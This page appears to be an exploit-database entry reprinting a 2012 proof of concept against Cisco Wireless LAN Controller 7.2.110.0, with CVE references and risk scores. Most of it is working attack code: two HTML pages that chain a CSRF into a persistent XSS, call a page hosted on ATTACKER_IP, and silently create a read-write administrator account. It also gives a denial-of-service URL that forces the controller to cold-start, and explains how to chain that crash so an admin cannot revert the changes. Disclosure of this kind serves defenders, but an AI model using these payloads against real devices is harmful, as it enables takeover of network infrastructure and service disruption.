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Cisco Wireless Lan Controller 7.2.110.0 - Multiple Vulnerabilities

🗓️ 13 Dec 2012 00:00:00Reported by Jacob HolcombType

Cisco WLC 7.2.110.0 Multiple Vulnerabilities - CSRF, DoS, XS

Reporter	Title	Published	Views	Family All 18
0day.today	Cisco Wireless Lan Controller 7.2.110.0 Multiple Vulnerabilities	13 Dec 201200:00	–	zdt
Packet Storm	Cisco Wireless Lan Controller 7.2.110.0 XSS / CSRF / DoS	13 Dec 201200:00	–	packetstorm
exploitpack	Cisco Wireless Lan Controller 7.2.110.0 - Multiple Vulnerabilities	13 Dec 201200:00	–	exploitpack
seebug.org	Cisco Wireless Lan Controller 7.2.110.0 - Multiple Vulnerabilities	1 Jul 201400:00	–	seebug
CVE	CVE-2012-6007	19 Dec 201211:56	–	cve
CVE	CVE-2012-5991	19 Dec 201211:56	–	cve
CVE	CVE-2012-5992	19 Dec 201211:56	–	cve
Prion	Cross site scripting	19 Dec 201211:56	–	prion
Prion	Design/Logic Flaw	19 Dec 201211:56	–	prion
Prion	Cross site request forgery (csrf)	19 Dec 201211:56	–	prion

Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities 
 
# Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities 
# Date: Discovered and reported November 2012
# Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators
# Software: Cisco Wireless Lan Controller 7.2.110.0 (http://www.cisco.com)
# Note: Other versions are probably vulnerable, but I wasn't able to test.
# Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991
# Advisory/Video: http://infosec42.blogspot.com/2012/12/cisco-wlc-csrf-dos-and-persistent-xss.html
# Additional Bug: DoS - See bug section in POC


--Exploit code demonstrated in advisory video--


-CSRF/XSS-

File #1: ciscoWLC1.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Persistent XSS</title>
<body>

<h1>LOADING...</h1>

<form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="webauth_type" value="internal"/>
<input type="hidden" name="redirect_url" value=""/>
<input type="hidden" name="aire_logo" value="show"/>
<input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" name="ext_webauth_url" value=""/>
<input type="hidden" name="buttonClicked" value="4"/>
<input type="hidden" name="indexedClicked" value="0"/>
<input type="hidden" name="err_flag" value="0"/>
<input type="hidden" name="err_msg" value=""/>
</form>

<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>

</body>
</html>



File #2: ciscoWLC2.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>

<form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="userpwd" value="Pwnd123"/>
<input type="hidden" name="pwdconfirm" value="Pwnd123"/>
<input type="hidden" name="access_mode" value="readwrite"/>
<input type="hidden" name="buttonClicked" value="4"/>
</form>

<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html 
</script>

</body>
</html>



--Bug--

DoS - Denial of Service

If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET 
request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would 
prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after
the WLC reboot, the attacker could change the admin password to prevent further access. 

DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4

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13 Dec 2012 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS26.8

EPSS0.003